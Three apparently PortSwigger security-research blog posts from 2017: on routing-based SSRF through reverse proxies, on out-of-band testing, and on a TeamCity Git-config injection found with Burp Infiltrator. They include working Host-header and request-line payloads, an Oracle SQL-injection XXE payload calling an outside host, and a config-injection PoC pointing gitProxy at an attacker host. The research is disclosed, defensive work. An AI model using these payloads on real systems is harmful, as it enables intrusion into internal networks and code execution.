Thursday, July 27, 2017

Cracking the Lens: Targeting HTTP's Hidden Attack-Surface

Modern websites are browsed through a lens of transparent systems built to enhance performance, extract analytics and supply numerous additional services. This almost invisible attack surface has been largely overlooked for years.

In this paper, I'll show how to use malformed requests and esoteric headers to coax these systems into revealing themselves and opening gateways into our victim's networks. I'll share how by combining these techniques with a little Bash I was able to thoroughly perforate DoD networks, trivially earn over $30k in vulnerability bounties, and accidentally exploit my own ISP.

While deconstructing the damage, I'll also showcase several hidden systems it unveiled, including not only covert request interception by the UK's largest ISP, but a substantially more suspicious Colombian ISP, a confused Tor backend, and a system that enabled reflected XSS to be escalated into SSRF. You'll also learn strategies to unblinker blind SSRF using exploit chains and caching mechanisms. Finally, to further drag these systems out into the light, I'll release Collaborator Everywhere - an open source Burp Suite extension which augments your web traffic with a selection of the best techniques to harvest leads from cooperative websites.

This post is also available as a printable whitepaper. A video of the accompanying BlackHat USA presentation is likely to become publicly available in September.

Outline

Introduction

Whether it's ShellShock, StageFright or ImageTragick, the discovery of a serious vulnerability in an overlooked chunk of attack surface is often followed by numerous similar issues. This is partly due to the 'softness' present in any significant piece of attack surface that has escaped attention from security testers. In this paper, I will show that the rich attack surface offered by reverse proxies, load balancers, and backend analytics systems has been unduly overlooked for years. I'll do this by describing a simple methodology for efficiently auditing such systems at scale, then showcasing a selection of the numerous critical vulnerabilities it found.

I'll also release two tools. Collaborator Everywhere is a Burp Suite extension that helps decloak backend systems by automatically injecting some of the less harmful payloads into your web traffic. It can be installed via the BApp store, or via the source at https://github.com/PortSwigger/collaborator-everywhere. Rendering Engine Hackability Probe is a web page that analyses the attack surface of connecting clients, and can be downloaded from https://github.com/PortSwigger/hackability or used directly at http://portswigger-labs.net/hackability/.

Methodology

Listening

This line of research requires targeting systems that were designed to be invisible. A load balancer that's obvious is one that's failing at its job, and a backend analytics system would no doubt prefer users remain blissfully ignorant of its existence. As such, we can't rely on analyzing response content to reliably identify vulnerabilities in these systems. Instead, we're going to send payloads designed to make these systems contact us, and learn from the resulting DNS lookups and HTTP requests. All the findings presented in this paper started with a pingback; none of these vulnerabilities and systems would have been found without one. I recorded these requests using Burp Collaborator, but you could equally host your own logging DNS server, or for basic probing simply use Canarytokens.

Research Pipeline

I started out by using a simple Burp match/replace rule to inject a hard-coded pingback payload into all my browser traffic. This approach failed spectacularly, as the payload caused so many pingbacks that it became difficult to correlate each individual pingback and work out which website triggered it. It was also soon apparent that some payloads would cause a pingback after a time delay - three minutes, several hours, or in one case every 24 hours.

To help efficiently triage pingbacks I wrote Collaborator Everywhere, a simple Burp extension that injects payloads containing unique identifiers into all proxied traffic, and uses these to automatically correlate pingbacks with the corresponding attacks. For example, the following screenshot shows Collaborator Everywhere has identified that Netflix has visited the URL specified in the Referer header four hours after my visit to their site, and is pretending to be an iPhone running on an x86 CPU:

Scaling Up

Collaborator Everywhere is highly effective for focused, manually driven audits and roughly half the vulnerabilities disclosed in this paper were found using it. However, during this research I noticed that a particular vulnerability on a Yahoo server only had a 30% chance of being found on any given scan. The root cause was that Yahoo was using DNS round-robin load balancing to route inbound requests through one of three different frontend servers, and only one of these servers was vulnerable. Quirks like this matter little to a typical security audit focused on the backend application, but they can derail exploits aimed at subverting load balancers. To ensure no vulnerable servers escape detection, it's necessary to systematically identify and direct payloads at every piece of the target's infrastructure.

To do this, I initially used the Burp Collaborator client in conjunction with a hacked up version of Masscan, but ultimately replaced Masscan with ZMap/ZGrab as ZGrab supports HTTP/1.1 and HTTPS. To correlate pingbacks with targets, I simply prefixed each payload with the target hostname so a vulnerability in example.com would result in a DNS lookup to example.com.collaboratorid.burpcollaborator.net. Target domains and IP addresses were obtained by manually building a list of legally testable domains from public and private bug bounty programs, and mapping this against Rapid7's Project Sonar Forward DNS database. This technique identified a few million IP addresses, of which roughly 50,000 were listening on port 80/443. I initially tried using reverse DNS records too, but this revealed a number of servers pretending to belong to Google's infrastructure that probably wouldn't be too happy about being subjected to a surprise security audit.

Sending payloads to tens of thousands of servers achieves little if they never hit a vulnerable code path. To maximize coverage I used up to five hostnames per IP, used both HTTP and HTTPS, and also tried to trigger edge cases using X-Forwarded-Proto: HTTPS and Max-Forwards. I also sent the Cache-Control: no-transform header to discourage intermediate servers from mangling my payloads.

Misrouting Requests

Reverse proxies are entrusted with relaying incoming requests to the appropriate internal server. They typically sit in a privileged network position, directly receiving requests from the internet but having access to a company's DMZ, if not its entire internal network. With a suitable payload, some reverse proxies can be manipulated into misrouting requests to a destination of the attacker's choice. This effectively makes them a gateway enabling unfettered access to the target's internal network - an extra-powerful variant of Server-Side Request Forgery. Here's a simple diagram showing the attack:

Note that such attacks typically involve highly malformed requests which may break tools such as ZAP, and inadvertently exploit intermediate gateways belonging to your company or ISP. For tooling I'd recommend using Burp Suite (naturally), mitmproxy, and Ncat/OpenSSL.

Invalid Host

The simplest way to trigger a callback is merely to send an incorrect HTTP Host header:
GET / HTTP/1.1
Host: uniqid.burpcollaborator.net
Connection: close

Although known in some circles for years, this technique is vastly under-appreciated - using it I was able to successfully exploit 27 DoD servers, my ISP, a Columbian ISP that threw itself in the firing line using DNS poisoning, and http://ats-vm.lorax.bf1.yahoo.com/. As an example of how serious this vulnerability can be, let's take a look at an internal server I found using the vulnerability in ats-vm.lorax.bf1.yahoo.com.

At first glance, it was far from clear what software the server was running:

GET / HTTP/1.1
Host: XX.X.XXX.XX:8082


HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:32:50 GMT
Transfer-Encoding: chunked
Connection: close

Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
Less than a minute later I knew exactly what software the server was running and how to talk to it, thanks to an optimistic 'HELP' command:
HELP / HTTP/1.1
Host: XX.X.XXX.XX:8082


HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:33:59 GMT
Transfer-Encoding: chunked
Connection: keep-alive

Ok

  Traffic Server Overseer Port

  commands:
    get <variable-list>
    set <variable-name> = "<value>"
    help
    exit

  example:

    Ok
    get proxy.node.cache.contents.bytes_free
    proxy.node.cache.contents.bytes_free = "56616048"
    Ok

  Variable lists are conf/yts/stats records, separated by commas

Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
The numerous 'Unknown Command' lines are from the server interpreting every line of the request as a separate command - it was using a newline-terminated protocol which would have rendered exploitation extremely difficult or impossible via classic SSRF.
Fortunately for us, routing-based SSRF is more flexible and I was able to issue a GET request with a POST-style body containing a command of my choice:
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
Content-Length: 34

GET proxy.config.alarm_email


HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:57:02 GMT
Transfer-Encoding: chunked
Connection: keep-alive

Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
proxy.config.alarm_email = "nobody@yahoo-inc.com"
Using the SET command, I could have made wide-ranging configuration changes to Yahoo's pool of load balancers, including enabling SOCKS proxying and granting my IP address permission to directly push items into their cache. I promptly reported this to Yahoo, and received a $15,000 payout for my efforts. A couple of weeks later the ZGrab pipeline uncovered another server with the same vulnerability, earning an additional $5,000.

Investigating Intent - BT

While trying out the invalid host technique, I noticed pingbacks arriving from a small pool of IP addresses for payloads sent to completely unrelated companies, including cloud.mail.ru. I initially assumed that these companies must collectively be using the same cloud WAF solution, and noted that I could trick them into misrouting my request to their internal administration interface. Something wasn't quite right, though; the reverse DNS for this IP pool resolved to bn-proxyXX.ealing.ukcore.bt.net - BT being British Telecom, my company's ISP. Getting a pingback from Kent, UK for a payload sent to Russia is hardly expected behavior. I decided to investigate this using Burp Repeater, and noticed that the responses were coming back in 50ms, which is suspiciously fast for a request that's supposedly going from England to Russia, then to the collaborator server in a datacenter in Ireland, then back to England via Russia. A TCP traceroute to port 80 revealed the truth:

Attempts to establish a TCP connection with cloud.mail.ru were being terminated by my own ISP. Note that traffic sent to TCP port 443 (HTTPS) is left untampered with. This suggests that the entity doing the tampering doesn't control the TLS certificate for mail.ru, implying that the interception may be being performed without mail.ru's authorization or knowledge. I could replicate this behavior both in the office and at home, which raised the entertaining possibility that GHCQ had decided to single me out for some clumsy deep packet inspection, and I'd accidentally exploited their system. I was able to rule out this possibility by confirming that some of my less suspicious friends could replicate the same behavior, but that left the question of precisely what this system was for.

To discern the system's true purpose, I used Masscan to ping TCP port 80 across the entire IPv4 address space using a TTL of 10 - effectively a whole internet traceroute. After filtering out caches and self-hosted websites, I had a complete list of targeted IP addresses. Sampling this list revealed that the system was primarily being used to block access to copyrighted content. Traffic to blacklisted IP addresses was being rerouted into the pool of proxies so that they could inspect the HTTP host header being used, and potentially block the request with a message I'm sure none of our upstanding UK readership is familiar with:

GET / HTTP/1.1
Host: www.icefilms.info

HTTP/1.1 200 OK
...
<p>Access to the websites listed on this page has been blocked pursuant to orders of the high court.</p>
It's possible to bypass this block without even changing the host header, but I'll leave that as an exercise for the reader.

This setup has several notable consequences. Thanks to virtual hosting, cloud hosts like Google Sites have ended up on the blacklist, meaning all traffic to them from consumer and corporate BT users is proxied. From a blacklisted server's point of view, all BT users share the same tiny pool of IP addresses. This has resulted in BT's proxy's IPs landing on abuse blacklists and being banned from a number of websites, affecting all BT users. Also, if I had used the aforementioned admin access vulnerability to compromise the proxy's administration panels, I could could potentially reconfigure the proxies to inject content into the traffic of millions of BT customers. Finally, this highlights just how easily overlooked such vulnerabilities are; for years I and many other British pentesters have been hacking through an exploitable proxy without even noticing it existed.

I reported the ability to access the internal admin panel to a personal contact at BT, who ensured it was quickly resolved. They also shared that the interception system was originally constructed as part of CleanFeed, a government initiative to block access to images of child abuse. However, it was inevitably repurposed to target copyright abuse.

Investigating Intent - METROTEL

Later I witnessed similar behavior from a Colombian ISP called METROTEL. Rapid7's Project Sonar had used a public METROTEL DNS server which was selectively poisoning results for certain domains in order to redirect traffic into its proxy for DPI. To pass through HTTPS traffic without causing certificate errors they sniffed the intended remote host from the Server-Name Indicator (SNI) field. I notified Rapid7 who identified the misbehaving DNS server, meaning I could feed the Alexa top 1 million domain list into it and identify targeted hosts. It appeared to be targeting various image and video hosts, and also some lesser known social networks. Attempting to visit these resulted in a redirect to http://internetsano.metrotel.net.co/, stating that the site was blocked for containing images of child abuse.

As with BT, the original intention of this system may be commendable but there was evidence it had been repurposed. In addition to targeting image hosting sites, the DNS server also poisoned lookups to certain news websites including bbc.co.uk. This is presumably to block or tamper with certain news articles, though I haven't yet identified which articles are being targeted.

Handling Input Permutation

Thinking you really understand the array of possible mishaps is invariably a mistake. Take the following pool of seven servers I encountered; upon receiving the following request:

GET / HTTP/1.1
Host: burpcollaborator.net
Connection: close
they trigger a request to outage.<the_supplied_domain> with the domain inserted into the path, twice:
GET /burpcollaborator.net/burpcollaborator.net HTTP/1.1
Host: outage.burpcollaborator.net
Via: o2-b.ycpi.tp2.yahoo.net

This kind of behavior is almost impossible to predict, so the only reasonable reaction is to ensure your setup can handle unexpected activity by using wildcard DNS, wilcard SSL, and multiple protocols. This particular behavior doesn't look very promising exploitation-wise, as internal servers are unlikely to host sensitive content at the path /burpcollaborator.net/burpcollaborator.net Fortunately, if you register outage.yourdomain.com and make it resolve to an internal IP address, it's possible to exploit path normalization to send a request to an internal server's webroot:

GET / HTTP/1.1
Host: ../?x=.vcap.me
Connection: close
Resulting in the following request:
GET /vcap.me/../?=x=.vcap.me
Host: outage.vcap.me
Via: o2-b.ycpi.tp2.yahoo.net

After normalization, the URL becomes http://outage.vcap.me/?x=whatever. vcap.me is a convenient public domain where all subdomains resolve to 127.0.0.1 so this request is equivalent to fetching http://127.0.0.1/. This earned a $5,000 bounty from Yahoo.

Host Overriding

An alternative technique that I previously used to create poisoned password reset emails also worked on a certain US Department of Defense server. Some servers effectively whitelist the host header, but forget that the request line can also specify a host that takes precedence over the host header:

GET http://internal-website.mil/ HTTP/1.1
Host: xxxxxxx.mil
Connection: close

Using the vulnerable frontend as a gateway gave me access to various interesting internal websites including a library with a promising attack surface and a file transfer service mentioned in a public forum.

Ambiguous Requests

A few targets sat behind Incapsula's cloud-based Web Application Firewall. Incapsula relies on inspecting the host header to work out which server to forward requests to, so the simple attacks discussed above didn't work. However, Incapsula's parsing of the host header is extremely tolerant of what it considers the specified port to be, meaning that it 'correctly' routes the following request to incapsula-client.net:

GET / HTTP/1.1
Host: incapsula-client.net:80@burp-collaborator.net
Connection: close

A certain backend at incapsula-client.net converted this input into the URL http://incapsula-client.net:80@burp-collaborator.net/ which led to it attempting to authenticate to burp-collaborator.net with the username 'incapsula-client.net' and the password '80'. In addition to exposing fresh interesting attack surface, this also revealed the location of the backend server, enabling me to bypass Incapsula's protection by accessing the backend directly.

Breaking Expectations

Broken request routing vulnerabilities aren't always caused by misconfigurations. For example, the following code lead to a critical vulnerability in New Relic's infrastructure:

Url backendURL = "http://public-backend/";
String uri = ctx.getRequest().getRawUri();

URI proxyUri;
try {
proxyUri = new URIBuilder(uri)
        .setHost(backendURL.getHost())
        .setPort(backendURL.getPort())
        .setScheme(backendURL.getScheme())
        .build();
} catch (URISyntaxException e) {
    Util.sendError(ctx, 400, INVALID_REQUEST_URL);
    return;
}

This code may look faultless - it takes the user-supplied URL, replaces the domain with the hard-coded backend server's address, and passes it along. Unfortunately the Apache HttpComponents server library failed to require that paths start with '/'. This meant that when I sent the following request:

GET @burp-collaborator.net/ HTTP/1.1
Host: newrelic.com
Connection: close

The code above rewrote this request as http://public-backend@burp-collaborator.net/ and routed the request to burp-collaborator.net. As usual, this vulnerability gave me access to a huge amount of internal stuff, including both unauthenticated admin panels and mystifying in-jokes.

Unfortunately New Relic don't pay cash bounties, but to their credit they patched this issue very quickly on a public holiday, and also reported the underlying library issue to Apache HttpComponents and it's subsequently been fixed so other people using Apache HttpComponents needn't panic. This isn't the first time a widely used platform has proven vulnerable to this exact payload - it worked on Apache mod_rewrite back in 2011. It evidently isn't common knowledge though; in addition to New Relic I found that it worked on 17 different Yahoo servers, earning me an extra $8,000.

Tunnels

As we've seen, the often overlooked ability to use an @ to create a misleading URL is frequently useful. However not all systems support such URLs, so I tried a variant on the previous payload:

GET xyz.burpcollaborator.net:80/bar HTTP/1.1
Host: demo.globaleaks.org
Connection: close

The idea behind this was that a vulnerable host might route the request to public-backendxyz.burpcollaborator.net, which would be caught by our wildcard DNS. What I actually received was a mysterious batch of mixed-case DNS lookups originating from wildly different IP addresses:

xYZ.BurpcoLLABoRaTOR.neT.    from 89.234.157.254
Xyz.burPColLABorAToR.nET.    from 62.210.18.16
xYz.burpColLaBorATOR.net.    from 91.224.149.254

GlobaLeaks was using Tor2web to route inbound requests to a Tor hidden service to hide its physical location. Tor exit nodes use an obscure security mechanism to increase the security of DNS by randomizing the case of requests, and this mechanism was resulting in the Burp Collaborator server refusing to reply and thus triggering a flood of lookup attempts.

This unique vulnerability has an impact that's tricky to quantify. As all requests are routed through Tor, it can't be abused to access any internal services. That said, it's an exceptionally powerful way to mask an attack on a third party, particular as since GlobaLeaks is a whistleblowing platform it probably doesn't keep any logs and may end up being blamed for attacks. Additionally, the ability to make the webserver connect to a hostile site over Tor exposes a significant amount of attack surface.

Targeting Auxiliary Systems

We've seen significant diversity in reverse proxies and the techniques necessary to make them misroute requests, but the final impact has so far stayed more or less consistent. In this section we'll see that when targeting helper systems like backend analytics and caches, figuring out a genuinely useful exploit is often more difficult than causing a callback in the first place.

Gathering Information

Unlike routing based attacks, these techniques typically don't hinder websites' normal functionality. Collaborator Everywhere takes advantage of this by injecting numerous distinct attacks into every request:

GET / HTTP/1.1
Host: store.starbucks.ca
X-Forwarded-For: a.burpcollaborator.net
True-Client-IP: b.burpcollaborator.net
Referer: http://c.burpcollaborator.net/
X-WAP-Profile: http://d.burpcollaborator.net/wap.xml
Connection: close

X-Forwarded-For

One example of a callback technique that's easy to trigger but difficult to exploit is the X-Forwarded-For and True-Client-IP HTTP headers, which are commonly used by pentesters to spoof their IP address but also support hostnames. Applications that trust these headers will perform DNS lookups to resolve the supplied hostnames into IP addresses. This serves as a great indicator that they're vulnerable to IP spoofing attacks, but unless you have a convenient DNS library memory corruption vulnerability the callback behavior itself isn't exploitable.

Referer

Similarly, web analytics systems will often fetch any unrecognized URL specified in the Referer header of arriving visitors. Some analytics systems will even attempt to actively crawl the entire website specified in a referer URL for SEO purposes. This behavior may prove useful, so it's worth specifying a permissive robots.txt file to encourage it. This is effectively a blind SSRF vulnerability as there's no way for the user to view the results of the analytics system's request, and it often occurs minutes or hours after the user request, which further complicates exploitation.

Duplicate Parameters

For some reason Incapsula will fetch any URL that's specified twice in the query string. Unfortunately they don't have a bug bounty program, so I was unable to investigate whether this is exploitable.

X-Wap-Profile

X-Wap-Profile is ancient HTTP header which should specify a URL to the device's User Agent Profile (UAProf), an XML document which defines device capabilities such as screen size, bluetooth support, supported protocols and charsets, etc:

GET / HTTP/1.1
Host: facebook.com
X-Wap-Profile: http://nds1.nds.nokia.com/uaprof/N6230r200.xml
Connection: close

Compliant applications will extract the URL from this header, then fetch and parse the specified XML document so they can tailor the content they supply to the client. This combination of two high risk pieces of functionality - fetching untrusted URLs and parsing untrusted XML - with obscure and easily-missed functionality seems ripe for exploitation. Unfortunately it's not widely supported - Facebook was the only bug bounty site I could find that uses it, and they appear to be doing their XML parsing with due caution. They also only fetch the specified XML document roughly 26 hours after the request, making comprehensive iterative testing intensely impractical.

Remote Client Exploits

In each of these cases, direct SSRF-style exploitation is extremely difficult as we receive no feedback from the application. One reaction to this is to spray the internal network with canned RCE payloads like the latest Struts2 exploit of the month, an approach somewhat reminiscent of lcamtuf's web crawler abuse in Against the System: rise of the Robots. While entertaining, this technique isn't particularly interesting so I opted to shift focus to the client that's connecting to us. As with reverse proxies, such clients are often poorly audited and vulnerable to off-the-shelf tools. I was able to steal memory from one server simply by making it establish a HTTPS connection to a server that performed the venerable client-heartbleed attack on connecting systems. Headless browsers like PhantomJS are typically outdated and missing numerous critical security patches. Windows based clients may volunteer up domain credentials to a server running SpiderLabs' Responder, and lcamtuf's p0f can uncover what the client is actually running behind the often-spoofed user-agent.

Although applications typically filter the URL input, many libraries transparently handle redirects and as such may exhibit completely different behavior on redirect URLs. For example, Tumblr's URL preview functionality only supports the HTTP protocol, but will happily follow redirects to FTP services. These techniques are likely to be complemented by some currently unreleased research by Orange Tsai focused on exploiting programming language's URL parsing and requesting libraries.

Some clients were doing far more than simply downloading pages - they were actually rendering them and in some cases executing JavaScript within. This exposes an attack surface too expansive to map manually, so my colleague Gareth Heyes created a tool called 'Rendering Engine Hackability Probe' designed to thoroughly fingerprint the client's capabilities. As well as identifying common mishaps in custom browsers (like neglecting to enforce the Same Origin Policy) it flags unusual JavaScript properties.

As we can see here, it has detected the unrecognized JavaScript properties 'parity' and 'System', which have been injected by the Parity browser to let websites initiate Ethereum transactions. Unrecognized parameters can range from mildly interesting to extremely useful. The 'parity' property can be used to get the users' wallet's public key, which is effectively a global unique identifier and also discloses their balance. JXBrowser let developers insert a JavaScript/Java bridge, and last year we discovered it was possible to exploit this to escape the renderer and achieve arbitrary code execution. Ill-configured JavaScript-enabled clients may also connect to file:/// URLs, which can enable local file theft via malicious HTML stored in environment variables and displayed in /proc/self/environ - a sort of cross-protocol blind XSS vulnerability. As well as visually displaying results, every capability also triggers a server-side request so it's just as useful if you can't see the render output. The basic tests have been designed to work even on sensible clients that don't execute JavaScript.

Pre-emptive Caching

While hunting for routing exploits, I noticed some bizarre behavior from a particular military server. Sending the following request:

GET / HTTP/1.1
Host: burpcollaborator.net
Resulted in a normal response from the server, followed by several requests to the collaborator a few seconds later:
GET /jquery.js HTTP/1.1
GET /abrams.jpg HTTP/1.1
Something was evidently scanning responses sent to me for resource imports and fetching them. When it saw something like <img src="/abrams.jpg"/> it would use the host header I supplied to expand the host-relative URL to http://burpcollaborator.net/abrams.jpg and fetch that file, presumably so that it could cache it. I was able to confirm this theory by retrieving the cached response directly from the reverse proxy. This enabled quite an interesting attack - I found reflected XSS in the backend application, and used that to inject a reference to a fake JPG on an internal server in the response.
POST /xss.cgi HTTP/1.1
Content-Length: 103
Connection: close

xss=<img src="http://internal-server.mil/index.php/fake.jpg"/>
The caching reverse proxy saw this resource import and fetched the 'image', storing it in its cache where I could easily retrieve it:
GET /index.php/fake.jpg
Host: internal-server.mil
Connection: close
The following diagram shows the attack sequence: Note that the use of XSS to inject an absolute URL means this attack works even if the application rejects requests that contain an unrecognized host header.

Conclusion

In recent years a surge in bug bounty programs has enabled a new type of research; it's now possible to evaluate a novel attack concept against tens of thousands of servers in the space of fifteen minutes. Using this, I've shown that minor flaws in reverse proxies can result in critical vulnerabilities, and earned a healthy $33,000 along the way. To achieve any semblance of defense in depth, reverse proxies should be firewalled into a hardened DMZ, isolated from anything that isn't publicly accessible.

I've also shown how to unveil backend systems and gain an insight into their operation. Although less prone to catastrophic failure than their front-end partners, they expose a rich and under-researched attack surface. Finally, I've ensured Burp Suite's scanner can detect routing vulnerabilities, and also released Collaborator Everywhere and Hackability as an open source tools to fuel further research.

Enjoy - @albinowax

Friday, July 14, 2017

OAST (Out-of-band Application Security Testing)

Speaking to a couple of “thought leader” types this week, I realized that not everyone has fully appreciated the power and innovation of Out-of-band Application Security Testing (OAST).

At PortSwigger, we don’t go in for marketing hype, and prefer to release phenomenal features, describe them accurately, and let users make up their own minds. When we first released Burp Collaborator, the immediate positive feedback soon turned into a deluge of praise when our users saw just how powerful it was in uncovering real-world vulnerabilities.

The most skilled manual penetration testers have been using out-of-band testing techniques for many years, but this generally involved setting up some custom private infrastructure, and manually correlating any network interactions with the tester’s activities. Further, little research had been published on how to coax vulnerable applications into initiating out-of-band network interactions in different situations.

Burp Collaborator was revolutionary in three ways:
  1. It made OAST available to the masses, just working out-of-the-box with zero configuration and no need for any private infrastructure.
  2. The Burp Suite research team developed innovative techniques for reliably triggering out-of-band interactions in the presence of a wide range of vulnerabilities, including blind SQL injection, blind cross-site scripting, blind XXE, blind server-side XML/SOAP injection, blind OS command injection, and SMTP header injection.
  3. With a bit of magic, Burp Collaborator correlates every out-of-band interaction with the exact request and payload that caused it, even if the interaction is deferred and happens days later due to an asynchronous vulnerability.
The landscape of application security testing is commonly divided into dynamic (DAST), static (SAST), and interactive (IAST) techniques. Marketing aside, the relative strengths and weaknesses of these approaches are well understood. But it appears that not everyone has taken on board the sheer power of out-of-band (OAST) techniques, and the strong advantages that OAST has over the other approaches. So we decided that maybe it is time to spell these out explicitly, so that everyone can think about them.

But first, what exactly is OAST?

OAST combines the delivery mechanism of conventional DAST with the detective power of IAST. It operates dynamically, sending payloads to a running application. These payloads pass through the application’s processing in the normal way. If a payload is ever handled in an unsafe manner, it effectively performs some in-place instrumentation to change the application’s behavior, causing it to make a network interaction (typically DNS) with an external system. The contents of that interaction allow the OAST tool to report the precise type of vulnerability and the input point that can be used to trigger it.

Here is an example of an OAST payload that, if it is ever used unsafely in a SQL query against an Oracle database, will cause a connection to the Burp Collaborator server:

'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % ekiom SYSTEM
"http://pibw1f1nhjh3vpkgtx6mtfnt8kea2eq8dy1n.burpcollab'||'orator.net/">
%ekiom;]>'),'/l') from dual)||'


So how does OAST outperform the other approaches to application security testing?
  • DAST is unable to detect numerous vulnerabilities that are completely invisible in application responses, where successful payloads cause no difference in response content or timing. Nor can it detect vulnerabilities that are triggered asynchronously after scanning is completed. Conversely, OAST is able to find completely invisible and deferred vulnerabilities.
  • SAST is notoriously prone to generating noise through false positives. Although it can often find obscure vulnerabilities that are invisible to DAST, these are unfortunately lost in the haystack of findings that require manual investigation. Conversely, OAST has virtually zero false positives. If the payload above causes an interaction, then we injected into an Oracle SQL query.
  • IAST involves making invasive changes to the running application to inject instrumentation. This is liable to introduce defects, impair performance, and create new attack surface. It certainly shouldn’t be used in production systems. Conversely, OAST involves no modification to the system under test, because the instrumentation is self-contained within the payload, and is performed in-place only at the point where the payload reaches a vulnerability.
Additionally, like DAST, OAST has the benefit of being agnostic as to the language and platform used in the application under test. The OAST payload above works on any application that uses Oracle in the relevant way, and doesn’t care whether that application is written in Java, .NET, PHP, or anything else. Conversely, SAST and IAST are both closely bound to specific technologies, and the tools in question need to be largely rewritten and maintained for each language and platform that they target. From the perspective of the creator of testing tools, it is far more realistic to provide good technology coverage for DAST and OAST tools. There is an evident trend among tool vendors in the direction of OAST, with both Acunetix and Netsparker making moves in the same direction.

We hope this post helps to communicate the sheer power and innovation of OAST, and how it differs in nature and capability from other approaches to application testing.

Thursday, June 22, 2017

Behind enemy lines: Bug hunting with Burp Infiltrator

In this article, I’ll demonstrate using Burp Infiltrator to identify an extremely versatile 0day in JetBrains’ TeamCity, a popular continuous integration server written in Java. Burp Infiltrator works by instrumenting target applications, injecting code to trace user input and help reveal obscure vulnerabilities that are extremely difficult to find using classical scanning techniques. I’ll also share some tips and techniques for using Infiltrator for maximum effectiveness. For a basic introduction to the Infiltrator, please refer to Introducing Burp Infiltrator.

Infiltrator injects code that sends a pingback to Burp Collaborator whenever it spots data supplied by Burp Scanner hitting a potentially vulnerable sink, like running a system command or making changes to the filesystem. This helps find vulnerabilities that might otherwise be masked by input transformations, input filtering or lack of output. It also reveals the code path traversed by the application to reach each dangerous API, making vulnerabilities easier to both patch and exploit.

A practical example: Poisoning repository configuration files via filter bypass

I started by spraying the infiltrated application with Collaborator IDs by disabling every scan check except External Service Interaction, enabling Live Active Scanning and browsing as a normal user.

After exploring the application for a while I noticed there were a few interactions that followed the same pattern across a number of pages. These interactions showed that the application was creating a byte array from user input, then passing it to the FileInputStream.read method. This method is called by a class in the org.eclipse.jgit package, which is a dependency of TeamCity’s Git plugin.

I was getting these interactions from pages related to creating a new project from a repository URL, which means the URL was likely being written to the filesystem. Although I can’t tell where these contents are being written to, I know the exact contents of the byte array. See the following screenshot:

This is an interesting parameter value: some sort of property based file being built with user-supplied data. The actual string looks like this after decoding:
[core]
   symlinks = false
   repositoryformatversion = 0
   filemode = true
   bare = true
   logallrefupdates = false
   precomposeunicode = true
[teamcity]
   remote = http://u94vddpu8vkqdi9ati21kd201r7jbozhn9a0yp.burpcollaborator.net
I immediately recognized this as a Git repository file configuration. This file format is very simple:

  • Sections are denoted as [sectionName], every section has a set of properties that are set with the propertyName = value format.
  • All strings after a semicolon or a hash are treated as comments.
  • The backslash escapes special characters.
  • Multiline property values are supported by adding a backslash at the end of the line.

My goal was to escape the teamcity section and set properties in the core section where most of the juicy stuff is. I used the Collaborator client to generate a series of interaction IDs that I would use for my payloads. Consequently, every attempt to escape the remote property generated an Infiltrator interaction with the contents of the file. This setup provides a handy feedback loop that allows one to determine the effect of an input value after it has been transformed by multiple layers of code.

After playing with this method for a while I realized that all the URLs I came up with were being escaped correctly and although I could use the 0x0a character to enter a newline, it would still be in the context of the remote property. Moreover, certain bytes would make the org.apache.commons.httpclient.HttpMethodBase class raise an exception due to these being illegal in a URL.

I refined my payload after a few attempts and ended up with the following proof of concept:
http://fakerepo/%23;%0dremote=http://realrepo;%0a%0d[core];%0a%0dgitProxy=http://attacker:5555

That generated the following file:
[core]
 … snip…
[teamcity]
 remote = http://realrepo;”\nttp://fakerepo#;
[core];”\n\
gitProxy=http://attacker:5555

Breaking up the payload above we get: the %23 (#) character keeps HttpClient from throwing an exception as everything in the URL fragment is ignored. The %0d (CR) character returns the caret to the beginning of the line, effectively writing on top of the original property. The semicolon comments out the leftovers from the original content and also escapes the backslash added by TeamCity after it decodes %0a (LF).

This is a simple primitive that allows us to escape the current property and write arbitrary data to the top level of the properties hierarchy. The impact of setting some of these properties is vast, ranging from code execution to inserting backdoors in the codebase (on behalf of a legitimate developer) to forcing developers to fetch arbitrary code onto their machines.

There are dozens of properties that can be added that could potentially lead to remote code execution, see: core.sshCommand, core.editor, gpg.program, amongst many others. Other properties allow an attacker to set a repository specific proxy, change the way in which signatures are checked, set the location from where git hooks are loaded and much more.

The above is an example of finding a bug and writing a working proof of concept for it using Burp Infiltrator. But this is just the tip of the iceberg, spraying an infiltrated application with Collaborator URLs can produce very interesting results such as:

  • Asynchronous Infiltrator events.
  • SMTP Collaborator events drawn from input transformations reported as Infiltrator interactions.
  • Correlating seemingly unrelated insertion points from multiple Infiltrator interactions generated by the same API
  • Interactions that point to multiple ways of reaching the same vulnerable code path from different insertion points.

The what

Infiltrating an application is an iterative process; selecting the right target paths depends on the volume of interactions you want to get. Ideally we are only interested in the application’s bytecode and its dependencies, but nothing else. This is because the application may not instantiate, say, an XML parser of its own but it may instead use a library to handle XML parsing. If that’s the case and we don’t infiltrate the XML dependency we won’t see those Infiltrator interactions coming through, even if the Scanner reliably detects XML vulnerabilities.

Conversely, if we blindly infiltrate everything we may end up with misleading interactions. For instance, when a web server receives a request it’ll use its path to determine which application it should send this request to. The following screenshot shows an example of this:


It looks like there is a file traversal issue, but the call stack shows that no code outside the org.eclipse.jetty package was executed. This interaction clearly doesn’t come from the application but rather from the web server itself.

Spray your target application with Collaborator IDs, wait for Infiltrator interactions to arrive and adjust your target paths accordingly.

The when

It is important to decide when is the right time to infiltrate your target application. In general, we want to patch every class that relates to a user feature. Most applications can be infiltrated before they are deployed for the first time but there’s a number of situations in which this may not be the case.

An example of this is extensibility through plugins. Plugins broaden the attack surface of an application at runtime. In this case it’s better to install all the plugins you want to test first, add the location of those plugins to your list of target paths and redeploy the infiltrated application.

